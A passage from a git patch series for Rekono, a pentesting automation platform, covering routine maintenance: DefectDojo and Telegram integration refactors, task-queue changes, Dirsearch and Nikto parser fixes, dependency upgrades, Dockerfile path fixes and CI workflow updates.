data={**endpoint.defect_dojo(), "product": product}, - ) + def _create_endpoint( + self, product: int, endpoint: Path, target: Target + ) -> Dict[str, Any]: + try: + return self._request( + self.session.post, + "/endpoints/", + data={**endpoint.defect_dojo_endpoint(target), "product": product}, + ) + except HTTPError: + return None def _create_finding(self, test: int, finding: Finding) -> Dict[str, Any]: data = finding.defect_dojo() @@ -206,9 +217,13 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non else: test_id = None for finding in findings: - if isinstance(finding, Path): - new_endpoint = self._create_endpoint(product_id, finding) - finding.defect_dojo_id = new_endpoint.get("id") + if isinstance(finding, Path) and finding.type == PathType.ENDPOINT: + if finding.defect_dojo_id is None: + new_endpoint = self._create_endpoint( + product_id, finding, execution.task.target + ) + if new_endpoint is not None: + finding.defect_dojo_id = new_endpoint.get("id") else: if not test_id: if not self.settings.test_type_id: diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 67a2f5e8f..8e6ffc9fd 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -66,7 +66,8 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: for entity in ["product_type", "product", "engagement"]: value = attrs.get(f"{entity}_id") or attrs.get(entity) if value: - self._get_client().exists(f"{entity}s", value) + if not self._get_client().exists(f"{entity}s", value): + raise ValidationError(f"Entity {value} doesn't exist", code=entity) return attrs diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 368806565..9b2105f3e 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -7,7 +7,10 @@ DefectDojoSettingsSerializer, DefectDojoSyncSerializer, ) +from rest_framework import status from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response from security.authorization.permissions import ( IsAuditor, ProjectMemberPermission, @@ -41,19 +44,32 @@ class DefectDojoSyncViewSet(BaseViewSet): ] -class DefectDojoProductTypeViewSet(BaseViewSet): - serializer_class = DefectDojoProductTypeSerializer +class DefectDojoEntityViewSet(BaseViewSet): http_method_names = ["post"] permission_classes = [IsAuthenticated, IsAuditor] + def create(self, request: Request) -> Response: + serializer = self.get_serializer_class()( + data=request.data, context={"request": request} + ) + serializer.is_valid(raise_exception=True) + try: + response = serializer.create(serializer.validated_data) + return Response({"id": response.get("id")}, status=status.HTTP_201_CREATED) + except: + return Response( + {"defect-dojo": "Error creating instance on Defect-Dojo"}, + status=status.HTTP_400_BAD_REQUEST, + ) + + +class DefectDojoProductTypeViewSet(DefectDojoEntityViewSet): + serializer_class = DefectDojoProductTypeSerializer + -class DefectDojoProductViewSet(BaseViewSet): +class DefectDojoProductViewSet(DefectDojoEntityViewSet): serializer_class = DefectDojoProductSerializer - http_method_names = ["post"] - permission_classes = [IsAuthenticated, IsAuditor] -class DefectDojoEngagementViewSet(BaseViewSet): +class DefectDojoEngagementViewSet(DefectDojoEntityViewSet): serializer_class = DefectDojoEngagementSerializer - http_method_names = ["post"] - permission_classes = [IsAuthenticated, IsAuditor] diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index 61c94e412..644adb8ce 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -1,5 +1,6 @@ from typing import List +from django.forms.models import model_to_dict from executions.models import Execution from findings.framework.models import Finding from framework.platforms import BaseNotification @@ -27,11 +28,11 @@ def _notify_execution( FINDINGS[finding.__class__] .get("template", "") .format( - { + **{ k: self._escape( - str(v) or "" if not isinstance(v, Finding) else v.__str__(), + str(v) if not isinstance(v, Finding) else v.__str__(), ) - for k, v in finding.__dict__.items() + for k, v in model_to_dict(finding).items() } ) ) diff --git a/src/backend/platforms/telegram_app/notifications/templates.py b/src/backend/platforms/telegram_app/notifications/templates.py index 8145a8559..fdf5e72b7 100644 --- a/src/backend/platforms/telegram_app/notifications/templates.py +++ b/src/backend/platforms/telegram_app/notifications/templates.py @@ -65,7 +65,7 @@ _Type_ {type} _Path_ *{path}* _Status_ {status} -_Extra_ {extra} +_Extra_ {extra_info} """, }, Technology: { diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 25aa0463b..d419fe27a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -19,7 +19,9 @@ # Rekono basic information # ################################################################################ -DESCRIPTION = "Automation platform that combines different hacking tools to complete pentesting processes" +DESCRIPTION = ( + "Pentesting automation platform that combines hacking tools to complete assessments" +) VERSION = "2.0.0" @@ -45,6 +47,7 @@ "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", + "django_rq", "drf_spectacular", "rest_framework", "rest_framework_simplejwt.token_blacklist", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 5258b6e5e..d5a34edcc 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -15,6 +15,7 @@ 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin +from django.shortcuts import redirect from django.urls import include, path from drf_spectacular.views import ( SpectacularAPIView, @@ -58,6 +59,7 @@ SpectacularRedocView.as_view(url_name="schema"), name="redoc", ), + path("", lambda request: redirect("swagger-ui")), ] urlpatterns = format_suffix_patterns(urlpatterns) diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index 6c52c4b99..f942ef3cb 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -19,18 +19,17 @@ class TasksQueue(BaseQueue): - def __init__(self) -> None: - super().__init__("tasks-queue") - self.executions_queue = ExecutionsQueue() + name = "tasks-queue" def enqueue(self, task: Task) -> Job: + queue = self._get_queue() if task.scheduled_at: task.enqueued_at = task.scheduled_at - job = self.queue.enqueue_at( + job = queue.enqueue_at( task.scheduled_at, - self.consume.__func__, + self.consume, task=task, - on_success=self._scheduled_callback.__func__, + on_success=self._scheduled_callback, ) logger.info( f"[Task] Task {task.id} will be enqueued at {task.scheduled_at}" @@ -38,39 +37,41 @@ def enqueue(self, task: Task) -> Job: elif task.scheduled_in and task.scheduled_time_unit: delay = {task.scheduled_time_unit.lower(): task.scheduled_in} task.enqueued_at = timezone.now() + timedelta(**delay) - job = self.queue.enqueue_in( + job = queue.enqueue_in( timedelta(**delay), - self.consume.__func__, + self.consume, task=task, - on_success=self._scheduled_callback.__func__, + on_success=self._scheduled_callback, ) logger.info( f"[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}" ) else: task.enqueued_at = timezone.now() - job = self.queue.enqueue( - self.consume.__func__, + job = queue.enqueue( + self.consume, task=task, - on_success=self._scheduled_callback.__func__, + on_success=self._scheduled_callback, ) logger.info(f"[Task] Task {task.id} has been enqueued") task.rq_job_id = job.id task.save(update_fields=["enqueued_at", "rq_job_id"]) return job + @staticmethod @job("tasks-queue") - def consume(self, task: Task) -> Task: + def consume(task: Task) -> Task: if task.executions: task.executions.clear() if task.configuration: - self._consume_tool_task(task) + TasksQueue._consume_tool_task(task) elif task.process: - self._consume_process_task(task) + TasksQueue._consume_process_task(task) return task - def _consume_tool_task(self, task: Task) -> None: - executions = self._calculate_executions( + @staticmethod + def _consume_tool_task(task: Task) -> None: + executions = TasksQueue._calculate_executions( task.configuration.tool, [], task.target.target_ports.all(), @@ -78,11 +79,12 @@ def _consume_tool_task(self, task: Task) -> None: task.target.input_technologies.all(), task.wordlists.all(), ) + executions_queue = ExecutionsQueue() for parameters in executions or [{}]: execution = Execution.objects.create( task=task, configuration=task.configuration, group=1 ) - self.executions_queue.enqueue( + executions_queue.enqueue( execution, [], parameters.get(1, []), @@ -91,7 +93,8 @@ def _consume_tool_task(self, task: Task) -> None: parameters.get(4, []), ) - def _consume_process_task(self, task: Task) -> None: + @staticmethod + def _consume_process_task(task: Task) -> None: plan = [] steps = ( Step.objects.annotate( @@ -103,6 +106,7 @@ def _consume_process_task(self, task: Task) -> None: "configuration__stage", "max_input", "max_output", "configuration__id" ) ) + executions_queue = ExecutionsQueue() for step in steps: item = { "step": step, @@ -138,7 +142,7 @@ def _consume_process_task(self, task: Task) -> None: skipped_reason=f"Tool {step.configuration.tool.name} can't be executed with intensity {task.intensity.name.capitalize()}", ) for job in plan: - executions = self._calculate_executions( + executions = TasksQueue._calculate_executions( job["step"].configuration.tool, [], task.target.target_ports.all(), @@ -153,7 +157,7 @@ def _consume_process_task(self, task: Task) -> None: group=job["group"], ) job["jobs"].append( - self.executions_queue.enqueue( + executions_queue.enqueue( execution, parameters.get(0, []), parameters.get(1, []), @@ -164,18 +168,20 @@ def _consume_process_task(self, task: Task) -> None: ) ) + @staticmethod def _scheduled_callback( - self, job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any + job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any ) -> None: if result and result.repeat_in and result.repeat_time_unit: result.enqueued_at = result.enqueued_at + timedelta( **{result.repeat_time_unit.lower(): result.repeat_in} ) - job = self.queue.enqueue_at( + instance = TasksQueue() + job = instance._get_queue().enqueue_at( result.enqueued_at, - self.consume.__func__, + instance.consume, task=result, - on_success=self._scheduled_callback.__func__, + on_success=instance._scheduled_callback, ) logger.info(f"[Task] Scheduled task {result.id} has been enqueued again") result.rq_job_id = job.id diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 09ad080f9..5e83b9c1a 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -206,7 +206,8 @@ def _on_skip(self, reson: str) -> None: def _on_error(self, error: str) -> None: if error: self.execution.output_error = error.replace( - self.report, f"output.{self.execution.configuration.tool.output_format}" + str(self.report), + f"output.{self.execution.configuration.tool.output_format}", ).strip() self.execution.status = Status.ERROR self.execution.end = timezone.now() @@ -217,9 +218,10 @@ def _on_completed(self, output: str) -> None: self.execution.status = Status.COMPLETED self.execution.end = timezone.now() if self.execution.configuration.tool.output_format and self.report.is_file(): - self.execution.output_file = self.report.strip() + self.execution.output_file = self.report self.execution.output_plain = output.replace( - self.report, f"output.{self.execution.configuration.tool.output_format}" + str(self.report), + f"output.{self.execution.configuration.tool.output_format}", ) self.execution.save( update_fields=["status", "end", "output_file", "output_plain"] diff --git a/src/backend/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json index ade902a85..ba57a9ac3 100644 --- a/src/backend/tools/fixtures/5_inputs.json +++ b/src/backend/tools/fixtures/5_inputs.json @@ -45,7 +45,7 @@ "fields": { "argument": 3, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -85,7 +85,7 @@ "fields": { "argument": 6, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -105,7 +105,7 @@ "fields": { "argument": 7, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -125,7 +125,7 @@ "fields": { "argument": 8, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -145,7 +145,7 @@ "fields": { "argument": 9, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -165,7 +165,7 @@ "fields": { "argument": 10, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -205,7 +205,7 @@ "fields": { "argument": 13, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -245,7 +245,7 @@ "fields": { "argument": 16, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -265,7 +265,7 @@ "fields": { "argument": 17, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -285,7 +285,7 @@ "fields": { "argument": 18, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -315,7 +315,7 @@ "fields": { "argument": 20, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -425,7 +425,7 @@ "fields": { "argument": 30, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -465,7 +465,7 @@ "fields": { "argument": 33, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -505,7 +505,7 @@ "fields": { "argument": 36, "type": 2, - "filter": "!ip_range,network", + "filter": "!ip_range and !network", "order": 2 } }, @@ -545,7 +545,7 @@ "fields": { "argument": 40, "type": 10, - "filter": "!cookie,basic", + "filter": "!cookie and !basic", "order": 1 } }, diff --git a/src/backend/tools/parsers/dirsearch.py b/src/backend/tools/parsers/dirsearch.py index af40f56ca..b46294190 100644 --- a/src/backend/tools/parsers/dirsearch.py +++ b/src/backend/tools/parsers/dirsearch.py @@ -1,4 +1,4 @@ -import json +from urllib.parse import urlparse from findings.enums import PathType from findings.models import Path @@ -8,12 +8,12 @@ class Dirsearch(BaseParser): def _parse_report(self) -> None: data = self._load_report_as_json() - for url in data.get("results", []): - for item in url.values(): - for endpoint in item: - self.create_finding( - Path, - path=endpoint.get("path", "").strip(), - status=endpoint.get("status", 0), - type=PathType.ENDPOINT, - ) + for item in data.get("results", []): + url = urlparse(item.get("url", "")) + if url.path: + self.create_finding( + Path, + path=url.path.strip(), + status=item.get("status", 0), + type=PathType.ENDPOINT, + ) diff --git a/src/backend/tools/parsers/nikto.py b/src/backend/tools/parsers/nikto.py index a11a4626c..c4a4fe80a 100644 --- a/src/backend/tools/parsers/nikto.py +++ b/src/backend/tools/parsers/nikto.py @@ -14,14 +14,15 @@ def _parse_report(self) -> None: endpoint = item.findtext("uri") description = item.findtext("description") if description: - self.create_finding( # Create Vulnerability + osvdb_id = item.attrib.get("osvdbid") + self.create_finding( Vulnerability, name=description, description=f"[{method} {endpoint}] {description}" if endpoint else f"[{method}] {description}", severity=Severity.MEDIUM, - osvdb=f"OSVDB-{item.attrib['osvdbid']}", + osvdb=f"OSVDB-{osvdb_id}" if osvdb_id and osvdb_id != "0" else None, ) if endpoint and endpoint not in endpoints: endpoints.add(endpoint) From fbeb4cabf8f69e74157fe3c01ade8a0ac2478cfe Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 17:28:22 +0100 Subject: [PATCH 108/141] Upgrade all dependencies except Django --- src/backend/requirements-dev.txt | 6 +++--- src/backend/requirements.txt | 22 +++++++++++----------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/src/backend/requirements-dev.txt b/src/backend/requirements-dev.txt index 96072aaa8..029f99739 100644 --- a/src/backend/requirements-dev.txt +++ b/src/backend/requirements-dev.txt @@ -1,4 +1,4 @@ -r requirements.txt -black==23.7.0 -coverage==7.2.7 -mypy==1.4.1 \ No newline at end of file +black==23.12.1 +coverage==7.3.4 +mypy==1.8.0 \ No newline at end of file diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 8fd210257..fa8d70972 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,22 +1,22 @@ certifi==2023.11.17 -cryptography==41.0.5 +cryptography==41.0.7 defusedxml==0.7.1 Django==4.2.8 djangorestframework==3.14.0 -djangorestframework-simplejwt==5.2.2 -django-filter==23.2 -django-rq==2.8.1 -django-taggit==4.0.0 -drf-spectacular==0.26.4 -pycryptodome==3.18.0 -psycopg2-binary==2.9.6 -pyjwt==2.7.0 +djangorestframework-simplejwt==5.3.1 +django-filter==23.5 +django-rq==2.10.1 +django-taggit==5.0.1 +drf-spectacular==0.27.0 +pycryptodome==3.19.0 +psycopg2-binary==2.9.9 +pyjwt==2.8.0 python-magic==0.4.27 python-libnmap==0.7.3 python-telegram-bot==20.7 pyyaml==6.0.1 requests==2.31.0 rq==1.15.1 -setuptools==68.0.0 +# setuptools==69.0.3 stringcase==1.2.0 -tornado==6.3.2 \ No newline at end of file +tornado==6.4 \ No newline at end of file From 196054c83bb1eed3483594b4de49df8b8d7933ea Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 17:37:14 +0100 Subject: [PATCH 109/141] Upgrade Django to 5.0 version --- src/backend/requirements.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index fa8d70972..d132ecedb 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,7 +1,7 @@ certifi==2023.11.17 cryptography==41.0.7 defusedxml==0.7.1 -Django==4.2.8 +Django==5.0 djangorestframework==3.14.0 djangorestframework-simplejwt==5.3.1 django-filter==23.5 @@ -17,6 +17,5 @@ python-telegram-bot==20.7 pyyaml==6.0.1 requests==2.31.0 rq==1.15.1 -# setuptools==69.0.3 stringcase==1.2.0 tornado==6.4 \ No newline at end of file From 688e75b17e3cfe605b2b8cc6c45869387aa62785 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:01:35 +0100 Subject: [PATCH 110/141] Keep support for old Dirsearch report format and fix Nikto and findings unit tests --- src/backend/tests/parsers/test_nikto.py | 14 ++++++------- src/backend/tests/test_findings.py | 15 +++++++++++++- src/backend/tools/parsers/dirsearch.py | 26 +++++++++++++++++-------- 3 files changed, 39 insertions(+), 16 deletions(-) diff --git a/src/backend/tests/parsers/test_nikto.py b/src/backend/tests/parsers/test_nikto.py index 7001c8e1f..d39bb1c26 100644 --- a/src/backend/tests/parsers/test_nikto.py +++ b/src/backend/tests/parsers/test_nikto.py @@ -15,7 +15,7 @@ class NiktoTest(ToolTest): "name": "The anti-clickjacking X-Frame-Options header is not present.", "description": "[GET /] The anti-clickjacking X-Frame-Options header is not present.", "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, @@ -28,7 +28,7 @@ class NiktoTest(ToolTest): "agent to protect against some forms of XSS" ), "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, @@ -41,14 +41,14 @@ class NiktoTest(ToolTest): "agent to render the content of the site in a different fashion to the MIME type" ), "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, "name": "Uncommon header 'tcn' found, with contents: list", "description": "[GET /index] Uncommon header 'tcn' found, with contents: list", "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, {"model": Path, "path": "/index", "type": PathType.ENDPOINT}, { @@ -64,7 +64,7 @@ class NiktoTest(ToolTest): "The following alternatives for 'index' were found: index.html" ), "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, @@ -77,14 +77,14 @@ class NiktoTest(ToolTest): "Apache 2.2.34 is the EOL for the 2.x branch." ), "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, "name": "Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ", "description": "[OPTIONS /] Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ", "severity": Severity.MEDIUM, - "osvdb": "OSVDB-0", + "osvdb": None, }, { "model": Vulnerability, diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 7aba4cac2..c2ef1032c 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -51,7 +51,11 @@ "/api/ports/", ), Path: ( - {"protocol": "http", "host": "10.10.10.10", "port": 80, "path": "/index.php"}, + { + "title": "Path discovered", + "description": "Host: 10.10.10.10\nPort: 80\nPath: /index.php\nType: ENDPOINT\nStatus: 200\nInfo: Main path", + "severity": Severity.INFO, + }, "10.10.10.10 - 80 - /index.php", "/api/paths/", ), @@ -249,6 +253,15 @@ def test_defect_dojo(self) -> None: parsed = finding.defect_dojo() for key, value in findings_data[finding.__class__][0].items(): self.assertEqual(value, parsed[key]) + defect_dojo_endpoint = { + "protocol": "http", + "host": "10.10.10.10", + "port": 80, + "path": "/index.php", + } + parsed = self.path.defect_dojo_endpoint(self.target) + for key, value in defect_dojo_endpoint.items(): + self.assertEqual(value, parsed[key]) class OSINTTest(ApiTest): diff --git a/src/backend/tools/parsers/dirsearch.py b/src/backend/tools/parsers/dirsearch.py index b46294190..aa49a2ca7 100644 --- a/src/backend/tools/parsers/dirsearch.py +++ b/src/backend/tools/parsers/dirsearch.py @@ -9,11 +9,21 @@ class Dirsearch(BaseParser): def _parse_report(self) -> None: data = self._load_report_as_json() for item in data.get("results", []): - url = urlparse(item.get("url", "")) - if url.path: - self.create_finding( - Path, - path=url.path.strip(), - status=item.get("status", 0), - type=PathType.ENDPOINT, - ) + if isinstance(item.values()[0], list): + for finding_list in item.values(): + for finding in finding_list: + self.create_finding( + Path, + path=finding.get("path").strip(), + status=finding.get("status", 0), + type=PathType.ENDPOINT, + ) + else: + url = urlparse(item.get("url", "")) + if url.path: + self.create_finding( + Path, + path=url.path.strip(), + status=item.get("status", 0), + type=PathType.ENDPOINT, + ) From 7f223570e9dc1f992646ed6b09b6f72ec270429b Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:16:18 +0100 Subject: [PATCH 111/141] Fix Dirsearch parser --- src/backend/tools/parsers/dirsearch.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/src/backend/tools/parsers/dirsearch.py b/src/backend/tools/parsers/dirsearch.py index aa49a2ca7..c006438d5 100644 --- a/src/backend/tools/parsers/dirsearch.py +++ b/src/backend/tools/parsers/dirsearch.py @@ -9,15 +9,16 @@ class Dirsearch(BaseParser): def _parse_report(self) -> None: data = self._load_report_as_json() for item in data.get("results", []): - if isinstance(item.values()[0], list): + if isinstance(list(item.values())[0], list): for finding_list in item.values(): for finding in finding_list: - self.create_finding( - Path, - path=finding.get("path").strip(), - status=finding.get("status", 0), - type=PathType.ENDPOINT, - ) + if finding.get("path"): + self.create_finding( + Path, + path=finding.get("path").strip(), + status=finding.get("status", 0), + type=PathType.ENDPOINT, + ) else: url = urlparse(item.get("url", "")) if url.path: From d7b6a953a1a8a869efe76c9780698605528d8c45 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:25:15 +0100 Subject: [PATCH 112/141] Fix config path in Dockerfiles --- docker/Dockerfile.backend | 2 +- docker/Dockerfile.kali | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/Dockerfile.backend b/docker/Dockerfile.backend index d08d2a347..e0af7ab48 100644 --- a/docker/Dockerfile.backend +++ b/docker/Dockerfile.backend @@ -14,7 +14,7 @@ RUN apk update && \ mkdir /code # Configuration -COPY src/config.yaml /rekono +COPY config.yaml /rekono # Source code COPY src/backend/ /code diff --git a/docker/Dockerfile.kali b/docker/Dockerfile.kali index 66b3539ef..6a372f688 100644 --- a/docker/Dockerfile.kali +++ b/docker/Dockerfile.kali @@ -16,7 +16,7 @@ RUN apt update -y && \ mkdir /code # Configuration -COPY src/config.yaml /rekono +COPY config.yaml /rekono # Source code COPY src/backend/ /code From e5eb1083d31a579d503241f383cd2030d4bdb8d7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:27:55 +0100 Subject: [PATCH 113/141] Decrease required coverage --- .github/workflows/unit-tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index ce10b3ea9..1dc76e96f 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -6,7 +6,7 @@ on: - 'src/backend/**' env: - REQUIRED_COVERAGE: 95 + REQUIRED_COVERAGE: 90 jobs: unit-tests: From d45a125e6e3320410b6edd33368827dbc2801891 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:34:59 +0100 Subject: [PATCH 114/141] Update hashes for third party GitHub actions --- .github/workflows/security-containers.yml | 10 +++++----- .github/workflows/security-secrets.yml | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/security-containers.yml b/.github/workflows/security-containers.yml index 16c420d1d..81c251f3d 100644 --- a/.github/workflows/security-containers.yml +++ b/.github/workflows/security-containers.yml @@ -21,7 +21,7 @@ jobs: - name: Scan Nginx image with Trivy continue-on-error: true - uses: aquasecurity/trivy-action@master + uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 with: image-ref: rekono-nginx format: table @@ -29,7 +29,7 @@ jobs: - name: Scan Kali image with Trivy continue-on-error: true - uses: aquasecurity/trivy-action@master + uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 with: image-ref: rekono-kali format: table @@ -37,7 +37,7 @@ jobs: - name: Scan Backend image with Trivy continue-on-error: true - uses: aquasecurity/trivy-action@master + uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 with: image-ref: rekono-backend format: table @@ -45,7 +45,7 @@ jobs: - name: Scan Frontend image with Trivy continue-on-error: true - uses: aquasecurity/trivy-action@master + uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 with: image-ref: rekono-frontend format: table @@ -77,7 +77,7 @@ jobs: - name: Scan Debian image with Trivy continue-on-error: true - uses: aquasecurity/trivy-action@master + uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 with: image-ref: rekono-debian format: table diff --git a/.github/workflows/security-secrets.yml b/.github/workflows/security-secrets.yml index f8c4992ee..10681a7d7 100644 --- a/.github/workflows/security-secrets.yml +++ b/.github/workflows/security-secrets.yml @@ -13,7 +13,7 @@ jobs: with: fetch-depth: 0 - - uses: gitleaks/gitleaks-action@v2 + - uses: gitleaks/gitleaks-action@4df650038e2eb9f7329218df929c2780866e61a3 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITLEAKS_NOTIFY_USER_LIST: "@pablosnt" From 3433ef4c4ec9726a22cda66e3b84262f0c51ff18 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:38:41 +0100 Subject: [PATCH 115/141] Fix config path in Dockerfile --- docker/debian/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/debian/Dockerfile b/docker/debian/Dockerfile index 24d5e81ce..c751471e1 100644 --- a/docker/debian/Dockerfile +++ b/docker/debian/Dockerfile @@ -33,7 +33,7 @@ RUN apt update -y && \ # Source code and configuration COPY src/backend/ /code COPY src/frontend/dist_electron/rekono_*.deb /code -COPY src/config.yaml /code +COPY config.yaml /code COPY docker/debian/entrypoint.sh /entrypoint.sh COPY docker/debian/set_permissions.sh /set_permissions.sh From 3bede3122b368be78c01898c4cfaa5e26b1384be Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:44:34 +0100 Subject: [PATCH 116/141] Fix tests path in Dockerfile --- docker/debian/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/debian/Dockerfile b/docker/debian/Dockerfile index c751471e1..47b3c99f3 100644 --- a/docker/debian/Dockerfile +++ b/docker/debian/Dockerfile @@ -40,7 +40,7 @@ COPY docker/debian/set_permissions.sh /set_permissions.sh # Install dependencies and Desktop app RUN pip install -r /code/requirements.txt && \ dpkg -i /code/rekono_*.deb || apt -f install -y && \ - rm -R /code/testing/ && \ + rm -R /code/tests/ && \ # Install security tools apt install nmap dirsearch theharvester nikto sslscan sslyze cmseek zaproxy exploitdb metasploit-framework emailharvester joomscan gitleaks smbmap nuclei gobuster -y && \ apt install seclists dirb -y && \ From 00d039a5aad921cb83e82dbb9adbe7692085d553 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 18:58:01 +0100 Subject: [PATCH 117/141] Fix config directory in Dockerfile --- docker/debian/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/debian/Dockerfile b/docker/debian/Dockerfile index 47b3c99f3..6e2579a23 100644 --- a/docker/debian/Dockerfile +++ b/docker/debian/Dockerfile @@ -33,7 +33,7 @@ RUN apt update -y && \ # Source code and configuration COPY src/backend/ /code COPY src/frontend/dist_electron/rekono_*.deb /code -COPY config.yaml /code +COPY config.yaml /rekono COPY docker/debian/entrypoint.sh /entrypoint.sh COPY docker/debian/set_permissions.sh /set_permissions.sh From dab3d2b636210b2083d3e238795ca4318d6eabdd Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 27 Dec 2023 19:28:17 +0100 Subject: [PATCH 118/141] Update CHANGELOG with the release preview --- CHANGELOG.md | 42 ++++++++++++++++++++++++ src/backend/findings/framework/models.py | 2 +- src/backend/tools/parsers/base.py | 1 - 3 files changed, 43 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5cf6d7ee3..321660649 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,48 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [2.0.0] - + +### Added + +- Optimize, improve, clean and test source code (https://github.com/pablosnt/rekono/issues/222) +- Remove tasks status (https://github.com/pablosnt/rekono/issues/222) +- Remove steps priority (https://github.com/pablosnt/rekono/issues/222) +- New target ports path to limit executions to it (https://github.com/pablosnt/rekono/issues/222) +- New skipped reason field for skipped executions (https://github.com/pablosnt/rekono/issues/222) +- New executions group to aggregate those that can be executed at the same time (https://github.com/pablosnt/rekono/issues/222) +- Keep tool versions updated from the system in the database (https://github.com/pablosnt/rekono/issues/222) 